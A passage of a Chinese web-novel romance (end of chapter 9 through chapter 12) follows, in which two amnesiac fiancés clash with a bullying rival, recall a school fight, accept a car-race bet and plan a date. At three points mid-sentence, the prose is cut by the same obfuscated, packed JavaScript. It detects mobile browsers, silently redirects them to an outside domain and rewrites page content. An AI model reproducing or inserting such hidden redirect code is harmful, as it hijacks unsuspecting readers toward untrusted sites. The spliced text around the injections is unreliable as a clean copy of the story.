夏时祁言和何小鸣出了名的不对付,这不是什么秘密。 物以类聚人以群分,何小鸣身边都是狐朋狗友,夏祁两人虽然跟他玩不到一起去,但A市就这么大,有钱人的圈子难免有重叠的时候,总有碰上的机会。 至于他们结仇的根源,不熟的人没地儿去知道,只隐约听说他们似乎动过手打过架,还打挺狠。 没有干服务行业的会喜欢何小鸣这种混世魔王,但生意人讲究和气,人家钱给够,他们也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519510|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能憋着。 何小鸣不算常来这家餐厅,今天居然凑齐了三位惹不起的主,服务员在耳麦里呼叫了自己同事,能把他们岔开当然最省事。 各位服务生严阵以待,包厢内,一无所知的夏时和祁言相处得十分愉快。 世上最不能辜负的东西里,美食必须占有一席之地,随着菜品陆续端上,夏时和祁言十分惬意地用餐。 服务员要帮祁言分肉的时候,夏时立刻毛遂自荐:“没事,我来我来。” 他拿起刀子,擦拭得锃亮的刀面上寒光一闪,夏时把刀口往下一压,再度过来开餐中酒的经理冷汗都惊出来了:夏时竟然亲自给祁言分肉!这是什么,这是在威胁暗示啊! 刀锋的锐利、一刀刀划开肉类的狠劲,全都暗藏机锋! 夏时垂着头,一定是用发丝掩盖住了自己冷厉的眼神! 然而事实上,夏时什么都没想,他只是在认认真真地、非常单纯地分肉而已。 分好后把盘子推到祁言面前:“好啦。” 经理倏地扭头:祁言会怎么做,这盘肉他还能吃吗? 祁言其实想让夏时不用事事代劳,但他看夏时好像对照顾自己乐在其中,他怎么能打击小同学的兴致。 而且这说明什么,说明夏时认认真真在对待自己,直面他们的关系。 夏时身上的特质真的非常吸引人,不知不觉就会把目光落在他身上,忍不住再靠近一点,再好奇一点,想看到他更多更惊喜的模样。 于是经理只见祁言接过盘子,从容不迫将肉放进嘴里细细咀嚼,面带微笑,八方不动。 厉害,经理暗暗赞叹,不愧是夏家跟祁家精心培养的继承人,跟何小鸣那种咋咋呼呼缺根筋的到底不是一个物种,看看人家这不动声色的交锋! 经理餐中的服务结束,他退出去后,夏时把刀子搁在一旁,终于说出了自己的疑问:“那位经理看我们的眼神,是不是有点奇怪?” 经理目光其实不显眼,毕竟招待客人不能失礼,只是夏时和祁言都很敏锐。 刚被经理脑补恨海情天针锋相对的两位不明觉厉,祁言猜:“他应该认识我们,见面的时候语气就很熟络热情,可能是我们没怎么回应,跟往常不一样,所以他也纳闷儿吧。” 夏时点头:“有可能。” 不过他们失忆了,跟人生疏了也难免,经理服务得还不错,等下打个招呼好了,工牌上有经理的名字,不怕叫不上来名姓。 夏时和祁言吃完饭,又坐了会儿后起身离开,经理确认何小鸣已经出了大门,众人都长舒一口气,不管怎么说今天算是能平安无事—— 一口气还没松完,餐厅的玻璃门一动,何小鸣不仅回来了,还跟大厅里的夏时祁言撞了个正着。 经理:“……” 尖锐爆鸣! 大白天的,何小鸣已经喝得有点微醺,满身酒味儿,走路都有点飘,他看到夏时和祁言先是一愣,刚要条件反射地龇牙咧嘴,就注意到了祁言的手臂。 受伤的手臂。 何小鸣像是发现了什么不得了的大新闻,顿时腿不飘了脑子不醉了,精神大振:“哟呵!” 他肉眼可见地瞪大了他不怎么大的眼,闪烁着兴奋地光,正准备开口幸灾乐祸,却见夏时和祁言直直朝他走来。 然后…… 绕开他走过去了。 过去了。 被擦肩而过的何小鸣:??? 都走你们脸上了居然敢装没看见! 何小鸣大怒,扭头:“你俩慢着!” 扭头动静太大,差点抻着脖子,但这一声很有效,夏时和祁言停下了。 两人双双朝他看来,何小鸣冷哼一声,拍了拍衣服,下巴往上一抬,皮笑肉不笑:“这不是祁大少爷吗,去哪儿玩了,怎么还搞出伤来了?” 夏时和祁言一个对视。 谁? 不知道。 但有一点可以确定,这口气,显然是来者不善,找茬的吧。 10. 第十章 何小鸣没想到出门吃个饭还能碰见惊喜。 他们本来都要上车了,结果同行的人里,有个模特把包落在了包间,要回来拿,何小鸣最近正跟模特腻歪得起劲,当场表示要一块儿陪着回来拿。 他要来,其余为他马首是瞻的人也都跟着回了饭店,乌泱泱一大群。 结果就看到了受伤的祁言。 吊着一条胳膊的祁言欸,太新鲜了! 夏时和祁言被叫住后第一反应:这谁? 第二反应:说话有够欠的。 损友之间开玩笑的不是没有,但何小鸣落井下石得迫不及待,对着受了伤的人嬉皮笑脸,还搂过旁边一人的腰,用十分轻浮的口吻介绍:“来来,带你认识一下,这位是祁家的公子哥儿祁言,这位是夏家大少爷夏时,今天你运气好,一下碰见两个。” 他一口一个“公子少爷”,怎么听怎么讥讽,被搂着的模特嗅出气氛不对,没敢仗着何小鸣的势拿乔,乖乖巧巧笑笑:“两位好。” 夏时和祁言过得不舒坦,何小鸣就舒坦:“祁少,伤得重不重啊,怎么不跟哥几个说说呢?” 夏时俊秀的脸瞬间冷了下来,本来他一看何小鸣,就莫名觉得哪儿哪儿都不顺眼,现在还明目张胆挑衅祁言,他算哪根葱? 虽然不记得他是谁,但既然来者不善,祁言也用不着客气,他面色不变,随意地笑笑:“不重,伤是勋章,羡慕啊,羡慕你出门磕一个呗。” 夏时沉下来的面色瞬间被祁言逗得一乐,直接笑出了声,何小鸣原本正高兴,这会儿却笑不出来了:“你踏马咒我?!” “有吗,没吧。”祁言看了看何小鸣搂着的模特,“谈恋爱不好好哄人,反而带着人家挑事,有你这么当男朋友的?也太不上档次了。” 模特张了张嘴,小脸一红,娇羞得直拿眼神不停往祁言身上瞟,很明显,一句话,就让他为这个男人心动了! 况且祁言长得还比何小鸣帅,也不差钱,要是他能从祁言或者夏时里钓一个,岂不是大赚特赚? 模特趁何小鸣不注意,疯狂暗送秋波。 但很遗憾,祁言眼瞎。 他不仅眼瞎,还往夏时身边又靠了靠,意思明确:我未婚夫在这儿呢,您注意一点。 男德满分。 何小鸣压根儿不知道新情人的心思飞了,正暗搓搓试图给他戴绿帽,他被祁言三两句话说气不打一处来,倒不是因为话里的内容,而是因为祁言漫不经心的语气。 从以前开始,祁言就没把他放在过眼里,但高中时祁言揍他的那一顿,他能记一辈子。 何小鸣至今觉得祁言脑子有病,明明跟夏时关系水火不容,联姻也是做做样子,他何少爷跟夏时吵架关祁言屁事? 何小鸣至今只要想起来,都觉得颌骨又隐隐作痛。 犹记那年高二,何小鸣看上了一个女生,他谈恋爱只是玩,腻了就分,追人不用心只送礼,他的世界观就是我有钱,什么美人得不到,只要你家世不如我,那我看上你,你就得听话。 但当时女同学长得实在好看,他那颗被猪油蒙的心难得扒了条缝,生出了点所谓的少年萌动之心,准备正正经经花点时间追人。 然而女生拒绝了他。 他还听说女生之前给夏时递过封情书,虽然被拒绝了,但可能是再看不上其他人,暂时歇了谈恋爱的心思。 何小鸣当时就炸了,凭什么,夏时他凭什么! 在何小鸣眼里,夏时和祁言从小就是两朵奇葩,放着优渥的生活不躺平,不仅好学,还在各方面都学得出类拔萃,成功晋升别人家的孩子,爹妈每次提起,那都是止不住的羡慕。 而不管什么聚会,但凡有他俩在,全场焦点就不可能集中在何小鸣身上,每次听到旁人对比的闲言碎语,何小鸣就咬碎一口牙。 当夏时和祁言不知道的时候,何小鸣就对他俩积怨已久,本来井水不犯河水,但这次新仇旧恨一起上头,何小鸣当场脑子一热,直接冲进夏时班级。 他二话不说,在所有人都没反应过来的时候一把掀了夏时的桌子,在周围人的尖叫里啐道:“夏时,就你踏马抢我女朋友是吧!?” 夏时人在教室坐,锅从天上来,好好的被人砸了桌子,火气也蹭地一下窜上来:“你有病?” 夏时平日里明媚的桃花眼淬了冰,他一旦神情冷下来,漂亮的眼睛就会变得异常危险慑人,一眼睨过去,能叫人不寒而栗。 夏时:“有病就去治,谁知道你和你女朋友什么事?” 他的好朋友在他身边开口:“啊,我听说他最近在追隔壁班花。”知道夏时不关心班花校花是谁,朋友还特意解释,“就是先前给你递过情书那女孩儿,长得挺好看的,没答应何小鸣。” 夏时想起那个女孩儿了,他礼貌地拒绝了人家,人家也释然,所以何小鸣这是在尥什么蹶子,别人是他女朋友吗他就来撒泼。 夏时笃定何小鸣就是故意找茬,冷笑一声:“合着是追人不成到处发疯,她拒绝你是对的,不然等着哪天你犯狂犬病把她桌子也砸了吗?” 何小鸣脸色一阵青一阵白,好啊,他还嘲笑我! 他往前跨步,抬手就想狠狠揍夏时一顿,以解心头之恨,然而拳头还没抬起来,他膝弯就被人从后面猛地一踹。 这一下不算重,但何小鸣身体失衡差点摔个狗吃屎,他慌忙扶着另外的桌子爬起来,哪个不长眼的居然敢背后偷袭—— 他对上了一双狼戾般的眼睛。 如果说夏时冷下来是令人发寒的深渊,那么这双眼就是森林里的野兽,他锁住了你,俯视着你,随时能用爪子撕碎你,看着安静,里面却全是不怒自威的冷漠。 祁言收回长腿,眼里带着几分沉郁的起床气:“发什么疯?” 他今天精神不济,好端端地趴桌上休息,就听到一声巨响,自己桌子也被磕歪了,成功把他吵醒,沉着脸抬头,就听到了何小鸣的咆哮。 说的什么鬼话,夏时有没有女朋友他能不知道? 祁言明明坐着,却有种居高临下的俯视感:“来我们班闹事?你捏拳头做什么,还想打人?趁事还不算大,给你最后一个机会,道个歉,然后赶紧滚。” 何小鸣咬牙切齿,他听到了窸窸窣窣的议论声,奚落声,他被所有人围在中间看笑话,刚才那下摔得狼狈,摔得他颜面无存,越慌张,越是恼羞成怒,额头上青筋都爆了出来。 他本来就好面子,女朋友没了不说,还被人踹了一脚,要他道歉,要他就这么灰溜溜地滚? 我呸! 何小鸣脸红脖子粗,爬起来朝着祁言就是一拳。 “小心!” 有件事就连当时的何小鸣都没注意到,那就是他拳头冲着祁言去时,第一个喊出声、第一个反应过来的都是夏时。 那个明明跟祁言看不对眼的夏时。 夏时从后面扣着何小鸣的肩膀一拽,祁言头一偏,就躲过了他没有章法的拳头,当即起身,毫不客气一拳还了回去。 速度很快,快到何小鸣还没反应过来,脸上就结结实实挨了一拳。 他半边脸迅速肿起,本来没什么特色的脸倒是变得大红大紫,何小鸣从小到大没被人打过脸,当场疼得一懵。 随即疯了般扑上去要跟祁言拼个你死我活。 “你敢打我,你踏马敢打我,我爸妈都没打过我!”何小鸣疼得眼泪都出来了,手脚并用犯浑乱砸,“祁言你神经病吧,我找夏时关你屁事!” 祁言是真不喜欢跟人肢体接触,何小鸣脸上的触感让他恶心得不行,但反正已经碰到了,那就揍完再说。 他一把揪住何小鸣的领子就把人往地上掼,何小鸣那么大吨位,祁言掼他跟掼鸡仔似的,“咚”地一下就砸地上,背后怕都蹭破了皮,又随手抄过一本英语词典,用知识的力量死死摁住何小鸣作乱的手。 “你掀他桌子,把我的笔也撞地上去了,怎么不关我事,嗯?” 祁言一个重音,又把字典往下摁,何小鸣痛得滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519511|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇乱叫,一边叫一边骂,挣扎的腿踢得周围桌子乱七八糟,祁言力气太大了,有那么几下,何小鸣觉得自己险些喘不上气,被拽住的领口太紧,他骂声越来越低,渐渐产生了愤怒之外的情绪。 那就是恐惧,无能为力,被绝对压制的恐惧。 何小鸣的脸渐渐胀出了猪肝色,呼吸也越来越重,状态看着有点吓人,但祁言只是压制,周围人也不知道到底该不该拉架。 有人试着劝了句:“他是不是已经老实了?祁言,你先起来?这么僵着也不是个事儿。” 祁言充耳不闻。 周围人碍于他的气场,也知道他不喜欢与人接触的脾气,没一个敢直接上手碰他,唯有一人除外。 夏时上前扣住祁言的手腕:“祁言,可以了!” 祁言眼皮一掀,无声地看着他,但力道却没有松。 那眼神真是太像狼了,冷然无情,没有一点儿温度,仿佛谁敢凑近,就有被咬断喉咙的可能性,同学们脊背一寒,有点不敢相信,这还是平日里风度翩翩的祁言? 只有夏时依旧如常,他好像不知道什么叫害怕,眼也不眨:“你手指都泛白了,跟他接触这么久,不觉得膈应?” 祁言摁在字典上的手因为过于用力而泛白,至于揪何小鸣领口的那只,虽然隔着衣服,但依然能感受到令人厌烦的温度,强行忽略的时候还好,一旦注意力不再集中,的确让他难以忍受。 周围同学们惊奇地看到祁言眼珠微微动了动,就这么一下的功夫,他周身冷冽气息倏然散了,什么野性啊危险啊立刻荡然无存,大家熟悉的祁言又回来了。 祁言手一松,弯弯嘴角,又提起了大家看习惯的笑:“你说得对。” 何小鸣身上的压力瞬间消失,他大口呼吸,眼泪控制不住流得更厉害了,怕的。 场面太乱,所以无人注意到夏时仍旧握着祁言的手腕,而祁言也没有挣开的意思。 夏时“不经意间”往何小鸣脚上一踩,踩得何小鸣嗷一声缩了缩,拉着祁言往后退了退:“老师来了。” 何小鸣终于被拉了起来,匆忙赶来老师一个头两个大,听同学们七嘴八舌讲事情经过。 人群外,祁言神色郁郁:“我等会儿洗手得洗掉一层皮。” 夏时告诉他坏消息:“这层楼的卫生间洗手液用完了,还没补,你得去别的楼层。” 祁言于是脸色更糟了。 夏时看了看哭得一把鼻涕一把泪的何小鸣,余光扫过祁言死水无波的神情,觉得自己刚才那脚踩轻了。 他忍不住用老师绝对听不到的声音道:“何小鸣傻逼。” 死水上起了点涟漪,祁言弯了弯嘴角:“嗯,傻逼。” 夏时和祁言作为本次事件当事人,不可能一直只让旁人讲述事情经过,夏时估摸着时间可能差不多:“我们过去?” 祁言感受着手腕上令人暖融融的温度,没动。 “五秒,”他说,“五秒就好。” 夏时知道他的意思。 也只有夏时知道。 十岁那年的绑架对祁言不是没影响,但是病得没夏时那么显眼,而且他很会藏,心理评估都被他糊弄了过去,连爸妈也没有发现,唯独在夏时面前,祁言没藏住。 也或许是他不想藏。 总得有那么个地方,能让他放下心,得有那么个人,让他感受一下温度,才知道自己早就从牢笼逃脱,回了人群。 祁言帮夏时驱散黑夜的恐惧,夏时给了祁言烟火人间。 最艰难的那段时间,他们像受伤的幼兽,磕磕绊绊地互相舔舐伤口,撑了过来。 他们互不相让,但最不愿让人看见的狼狈样子,的确也被对方看过了。 以他俩的高傲心气儿,绝不想再朝第三个人露出自己的不堪。 他们针锋相对,他们默然依偎,所以夏时不会在这种时候放开手。 教室里人声鼎沸之际,两个少年站在角落,静静度过了只有他俩知道的五秒钟。 11. 第十一章 高中时代的闹剧,一架打完,受伤的只有何小鸣。 何小鸣脸、手都肿了好些天,他一度怀疑自己手骨是不是碎了,但没有,这一架成了同学们间新的八卦,现场同学作证,是何小鸣先惹的事动的手,夏时和祁言要多无辜有多无辜。 所以他家长不得不又给他擦屁股,摁着他的头给夏时祁言道歉,夏时和祁言反正最后没吃亏,在大人面前表示好的没关系,大家都是同学,打是亲骂是爱。 但如果这狗东西还要继续惹事讨爱,他们也只能勉为其难多爱一点。 ——两个模范好学生面带微笑地想。 事情顺利过去,几家大人也维持住了表面上的和气。 何小鸣骂骂咧咧:就我一个人挨了揍凭什么过去了,这事儿过不去! 他不服,因为脸上的伤好几天没去学校,觉得各种丢人,又在家里发了好大一通脾气。 这回父母难得没对他百依百顺,罚了他一个月零花钱,教训他惹麻烦也要有点分寸。 何小鸣于是更气了。 他心眼小,记仇,不过终究是被祁言揍出了阴影,所以学乖了一点,再见夏时和祁言也只敢打嘴仗,没敢再动手。 所以今天看到祁言吊着胳膊,何小鸣翻身把歌唱,忙不迭凑上来,绝不错过任何踩低祁言的机会,恨不得往祁言伤口上撒三斤盐。 但他也是不长记性,就他那急了只会蹦脏字的嘴巴,哪回打嘴仗赢过夏时和祁言? “我当男朋友不上档次?我身边都是上赶着来的人,你不就是听爸妈的话跟夏时订了个婚嘛,拽什么拽,哪有我快活?” 何小鸣越说越有优越感,好像终于找到了能赢过祁言和夏时的东西,洋洋得意起来,飘了:“说起来后天云速俱乐部不是要办场比赛吗,一群人嚷嚷着押你还是夏时赢,可惜啊,咱们祁大少爷上不了场咯,我看这赢的是我才对。” 他拍了拍模特的腰:“你说是不?” 模特刚傍上他大腿,敢说“不”吗?但人精又不想得罪夏家和祁家的少爷,于是只甜甜道:“你当然厉害啦!” 云速俱乐部是个车友会,夏时和祁言也是会员,他们看到了这两天群里发的消息,说是比赛,其实就是整个活动让大家玩一玩聚一聚,输赢不重要。 夏时和祁言刚从医院出来,本来没打算去,但今天对上何小鸣自鸣得意的嘴脸,夏时突然就改了主意。 半天没开口的夏时冷笑一声:“你想赢,当我不存在吗?” 此话一出,夏时瞬间成了全场的焦点,就连何小鸣身后那些狗腿都全部盯住了他。 因为如果方才何小鸣跟祁言只是打打嘴仗,夏时一开口,火药味的浓度瞬间拔高,他们敏锐嗅到了搞事的气息。 何小鸣却露出点古怪神色,他上上下下把夏时打量一番:“你?你不是向来‘老子天下第一祁言勉强第二’,除了祁言你都不屑跟其他人比,祁言不去了,你还会去?” 他语气里带了点意外,带了嘲讽,还带了点……虚张声势。 就好像夏时真要参赛的话让他有点慌。 他慌,夏时就放心了。 夏时保证,自己绝对不可能如此臭屁,绝对是面前这小子在添油加醋,毕竟从刚才开始他狗嘴里就没吐过象牙,跟这种人说话,不用跟着他的节奏,也没必要客气。 “为什么不去?”夏时,“虽然我不去你也只会被别人虐菜,但你话都说到这份上了,我不亲自去教教你,怕你连自己姓什名谁都忘了,怎么,不敢?” 同在一个俱乐部,何小鸣见过夏时飙车技术,虽然不想承认,但该死的他知道自己比不过。 所以他只敢在笃定夏时不上场时占点嘴上便宜。 但万万没想到,事情发展方向不受他控制了。 何小鸣顿时骑虎难下,满头大汗:搞什么,夏时不是向来对他不屑一顾吗,该正视他的时候不正视,不该盯着他的时候又穷追不舍,就存心跟他作对是吧! 一个死要面子的男人,怀里搂着小情儿,身后跟着小弟,前有狼后有虎,他能在这种时候说不敢吗,他不能啊! 否则以后还怎么混。 何小鸣被夏时一句话架在火上烤,退又不能退,在模特和小弟们殷切地注视下,他硬着头皮直起腰,打肿脸也得上:“怎么不敢,来,谁不来谁是狗!” 小弟们顿时开始起哄:“何哥牛逼!” “什么什么,输了学狗叫?” 何小鸣大惊:我没说! 夏时呵了一声:“行,输了学狗叫,这么多人看着呢,到时候别耍赖。” 何小鸣:…… 他大爷的哪个不长眼的瞎起哄,学什么狗叫,这不是把他往火坑里推吗! 一群猪队友! 何小鸣恶狠狠瞪向起哄的小弟,小弟们还不明所以,一个劲儿地瞎闹,夏时和祁言懒得再跟他浪费时间,头也不回走了,留下何小鸣无能抓狂。 外面日头很晒,但好在到大门的位置有一段花架回廊,夏季植物爬满了竹架,郁郁葱葱,既能遮阳,又别有一番意趣。 夏时和祁言的步子踩在石板上,绿荫的深邃幽静把傻逼带来的晦气吹散不少,夏时面上的冷意终于缓了缓。 祁言看在眼里,他能觉察到,小同学刚刚气得不轻。 那个不知名的完蛋玩意儿先招惹的是他,但很明显到最后反而是夏时更气,从医院睁眼开始,祁言看过了夏时许多模样,还是头一次见他发火。 见惯了夏时笑容灿烂、乖巧和害羞的脸,再看他漂亮的眼凝成刀,占尽上风跟人唇枪舌战的反差样……怪让人移不开眼的。 矜贵的小猫亮了爪子,跳到他前面,爪子冲着外人。 夏时不像易冲动,易受挑衅的人,所以,他生气是为了…… 祁言替夏时拨开一根花架上调皮伸出来的枝丫:“真跟他比?” 夏时:“话都说出去了。” “你要是手痒了想开车玩玩没关系,那种跳梁小丑不值得影响你心情。” 夏时没说好或不好,只在踏出花架繁廊时轻哼一声:“谁让他找你的茬?” 绿荫繁花落在他身后,祁言望着阳光里的夏时,心脏不轻不重被羽毛一扫。 他嘴角抑制不住地往上扬,一扬再扬,根本压不下来。 所以,夏时真的是在替他生气。 祁言迈步走到夏时身边,阳光同时照着他俩,祁言在好天气里轻快道:“改天我们开车去兜风吧。” 夏时:“你想兜风?好啊。” “重点不是兜风,”祁言嗓音里带着笑,“是想跟你一起去。” 他特意把字咬轻了些,如微风和煦,递出一封扎着丝带的邀约,又刚好路过花架,氛围到位,是正儿八经的浪漫情话。 跟昨晚那句一不小心溜出的“单手抱腰”不在一个大气层。 但万万没想到,我们的夏同学有自己的节奏。 他恍然大悟:“我懂了,约会方案对吧!”他甚至立刻掏出手机打开备忘录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519512|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“兜风也是个好选项,我怎么没想到呢,记一下。” 祁言:“……” 他保证自己刚刚真的是真情流露,但夏时的反应显得他好像在孔雀开屏,而且白费了造型。 他那无往不利的话术,总能在夏时这里找到不同的吃瘪方式。 祁言福至心灵的想起了手机里被销痕灭迹的“呆瓜”。 难不成这个“呆”说的是夏时不解风情? 考虑到他们从前的情侣关系,这应该就是真相了。 祁言一时不知道该先无奈,还是先乐,真神奇,人如果对什么存在特别感兴趣的时候,往往会带着点迫切情绪,可面对夏时,那种一点点剥丝抽茧,慢慢去了解他的过程,却让祁言享受其中。 每拨开一片云,又会发现新鲜的色彩,耀眼夺目,给人惊喜。 没事,是不是木头,是哪种木头,他有的是机会了解。 祁言凑近了些:“你车技怎么样?” “不吹不黑,”夏时很自信,“非职业里的T0级。” 他分析:“而且我觉得那人其实对着我在犯怵,不是很乐意真跟我比。” 祁言赞同:“我看也是。”他晃了晃手机,“所以我们来看看他到底是谁吧。” 狠话撂了战也约了,结果他们根本不知道何小鸣是谁,你说何小鸣要是知道,会不会更加跳脚? 云速俱乐部有自己的会员站,上面有会员简单信息,其实就是照片加名字,不会有电话等隐私,就是方便有些冲着交友来的新会员知道里边有哪些人,也是俱乐部一点小炫耀。 夏时和祁言费了好大劲,才把何小鸣的信息对上。 夏时盯着何小鸣那张照片,最后一遍确认:“……只能是他了,何小鸣。” “这照片P的,”祁言感慨,“他爸妈知道他长这样吗?” 夏时笑出声:“总之对上号了,找他可真不容易,几圈看下来,我把别人都记熟了,如果他们照片和本人差别不大,到时候见了人也能对得上号。” 祁言:“可以啊,记性这么好?” “是啊,我记东西在行,不然从小到大怎么常常拿第一……” 夏时说到这儿,潜意识又冒出一团雾让他停下了话头,失忆后时不时会出没的别扭感又来了,有哪里不太对,但又不知道究竟哪里不对,这时,祁言笑吟吟:“巧了。” “我记得我也是第一名的常客。” 啊,按照爸妈的说法,他们俩从从小到大都同校,夏时眼睛亮了亮:“所以我们经常并列第一,或者分个第一第二?” “看来是的,”祁言语气谦虚,内容却不低调,“顺带一提,会员的名字跟样子我也记下了。” 夏时跟发现了新大陆一样:“那我们读书的时候应该很有意思,比如每次考试后会不会猜猜排名?” “没准还会打赌,”他们已经出了饭店前大门,祁言半是揶揄,“但应该不是赌谁输了谁狗叫。” 夏时轻咳一声:“我刚是趁着他们起哄正好加码……放心,如果万一他是个深藏不露的赛车高手,真把我赢了,我就当回恶犬,叫完咬死他,绝不吃亏。” 祁言:“放手去比,我看好你。” 他虽然不知道夏时开车水平,但不会泼冷水,毕竟这事儿从头算起就是何小鸣的错,他不犯贱,哪有后续的麻烦,夏时是在替他出气,要是真输了,赌注也该祁言来兑现。 怎么能让夏时来呢,祁言心道,那岂不是在奖励何小鸣吗?他想得美。 12. 第十二章 虽然出门吃饭不慎碰到了傻逼,但好在夏时和祁言的心情都没怎么受影响,不过他们原本没计划这么快跟大量熟人碰面,赌约一下,就提前了。 云速俱乐部在本地玩车的圈内也算有名,很多年轻的二代们不管玩不玩,都来挂了个名,所谓的小比赛肯定伴随着庆祝会,来凑热闹的应该不少。 夏时在看完会员名单后,又跟自己通讯录对了对,据爸妈说,除祁言外,他最好的朋友叫唐橙,也是俱乐部会员,不过看朋友圈他还在外面旅游,后天应该不会回A市。 也不知道俱乐部里剩下的人都熟到什么程度,到时候见了他们该怎么应对,不过没事,夏时也不慌,船到桥头自然直嘛。 比起这些小问题,他现在有更重要的事。 那就是制定约会计划,学习怎么谈恋爱! 午饭后回到家,夏时就一头扎进书房,打开电脑,点击输入“如何制定一份理想的约会计划”。 字还没打完,搜索引擎下就已经迫不及待弹出条条框框了。 夏时一目十行,发现按照这个搜索,出来的基本都是以你们已经是情侣为前提而给的建议,夏时想了想,加了个“追人的时候”。 再出来的结果就贴近他的情况了,夏时立刻拿出上课学习的劲儿,认真看去,先点开了热门网友讨论帖。 【网友1:约会嘛,吃饭散步看电影,虽然是老三件了,但胜在不会出错,安全】 夏时学习的时候还保留了用纸笔记重点的习惯,他摸过一个笔记本,写下“吃饭散步看电影”,他的字漂亮又潇洒,往纸面上一落,赏心悦目。 夏时边记边点头,嗯,不会出错是优点。 但接下来的一条让他笔尖一顿。 【网友2:就这还那么多人点赞?翻来覆去吃饭电影无不无聊啊,一点新颖没有,对方怎么看到你的诚心!】 夏时:…… 嗯……无聊的话也确实是个问题。 他在笔记本方才的三条上画了个圈,加了个问号,以表待定。 【网友3:老套怎么了,相信我,只要你们互相喜欢,暗恋也成,无论干什么都不会无聊,无论什么约会都是完美!】 这一条也是高赞,并且下面附和的还非常多。 夏时想,他和祁言以前是互相喜欢,但现在没了记忆,这种感性的回答帮不了忙,只能跳过。 鼠标再往下一滑。 【网友4:我也觉得,法子不管老不老,管用就行,比如说去游乐园,先别急着反驳,听我说啊,游乐园人多,当你俩一起走在里面,你们会自动忽视那些朋友搭伙儿或者带小孩来玩的,气氛使然,你俩会不自觉的注意那一对对情侣,看别人牵着手,搂着腰亲亲密密,你们不由自主,小手一牵,害羞一笑……这不就成了吗?#嘿嘿.jpg#】 关键字,游乐园。 夏时回想了一下自己上次去游乐园,还是高中的时候,不是他自己想玩,而是和一群同学一起,至于是谁的提议他不记得了,同学们的脸也都是马赛克。 他那天玩了些什么项目? 过山车、大摆锤、跳楼机、蹦极……全都是些刺激内容,这些项目并不是人人敢玩,夏时第三趟从最刺激的那款过山车上下来的时候,眼也有点晕了,但他嘴硬着当没事人—— 等等。 夏时察觉到了违和处:他干嘛非要坐三回过山车,都晕了也还要逞强? 夏时忍不住顺着这点去使劲抓住记忆的迷雾不放,一边努力拨开,一边理性分析。 过山车也没多有趣,如果只有他自己,他应该不会把同一趟坐三遍,他是为了陪着谁,还是说…… 头有点微微的刺疼,夏时用力绷紧唇,把笔杆敲在额头,疼痛的信号是在提醒他退步,但夏时是个犟骨头,他几次在回忆的边缘无功而返,被激起了叛逆心:我还非得使劲想、努力看。 明明就是我的记忆,是我自己的东西。 夏时自己跟自己卯上了劲,人脸一个没想起来,反而是头越来越晕,过山车的刺激感简直要完美复刻,就在他晕得快反胃时,耳边忽然响起一句轻笑。 “再坐一次?” 夏时闭眼,笔杆啪嗒掉在本子上,他一手撑住桌面,一手抵住脑袋,扛着这场眩晕。 他不知道自己嘴唇已经绷得泛白,堪称自虐似的去迫不及待探究好不容易挖出来的这句话。 再坐一次过山车?这像是别人对他说的,那他会怎么回答? 夏时绷着的唇缓缓开口—— “来就来。” 三分不服输,三分逞强,剩下的更像是赌气。 自己难不成受了谁的挑衅,怎么树敌那么多啊,或者又是个像何小鸣的混蛋玩意儿…… 【别折腾了少爷,有点晕了吧?不想玩鬼屋直接跟他们说就行了,又不是什么大事……瞪我干嘛,唉好吧,谁让我这人大度,我去跟他们说,是我不想去】 【笑我是不是怕鬼屋?怕就怕呗,我无所谓,还有,夏时,我知道你已经不怕了,只是不喜欢】 夏时眼睫意外地颤了颤,慢慢睁开了眼。 记忆里接下来的话出乎他预料,跟他想象中的故事发展完全不同。 而且虽然大家脸都看不清,但夏时敏锐感知,正在脑子里发话的这位,就是先前跟他在走廊里分冰淇淋吃的马赛克同学。 马赛克同学已然成了这位的专属名词。 很明显,在一堆马赛克里,他格外突出。 青春期的小孩儿们聚在一起,起哄热闹其实也没恶意,比如开玩笑问“你怕鬼屋啊”真的是很顺口一句,并没有想得到答案,也没有想为难人,说了也就过了。 只是对某些人来说,有的看似普通的话语偏偏能戳中敏/感的心脏。 脑袋的眩晕和刺痛正在消失,过往的记忆也随着飘远,迷雾和空茫重新拢了过来,夏时只在记忆快散开前,勉强捕捉到最后隐隐约约的话。 【不喜欢就说出来,喜欢也要说,不是谁都像我这么了解你……是吧?】 最后两个字已经飘得很轻了,风一吹就无影无踪,不知道是不是混乱的脑子带来的错觉,在那远去的尾音里,夏时好像听到了一点叹息,一点难以言喻的复杂。 飘都飘走了,尾音还要把自己的心揪一揪,让他也跟着惆怅。 头脑的不适感完全消失,夏时原地坐着缓了缓,才重新捡起横在本子中间的笔。 